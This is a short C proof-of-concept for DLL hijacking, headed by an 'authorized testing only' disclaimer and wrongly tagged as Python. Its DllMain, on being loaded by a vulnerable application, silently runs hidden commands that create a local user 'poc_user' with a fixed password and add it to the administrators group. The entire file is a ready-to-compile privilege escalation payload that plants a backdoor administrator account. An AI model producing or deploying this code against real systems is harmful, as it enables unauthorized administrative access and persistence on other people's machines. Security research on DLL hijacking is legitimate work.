The following code is for security research and authorized testing only.
python
#include <windows.h>
// Proof of Concept for DLL Hijacking
// This DLL demonstrates code execution upon being loaded by the vulnerable application.
// Exported function expected by the vulnerable application
__declspec(dllexport) void VulnerableFunction() {
// Placeholder for the original function logic
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Code to run when the DLL is loaded into the process
// Example: Adding a user to demonstrate privilege escalation
WinExec("cmd.exe /c net user poc_user P@ssw0rd /add", SW_HIDE);
WinExec("cmd.exe /c net localgroup administrators poc_user /add", SW_HIDE);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}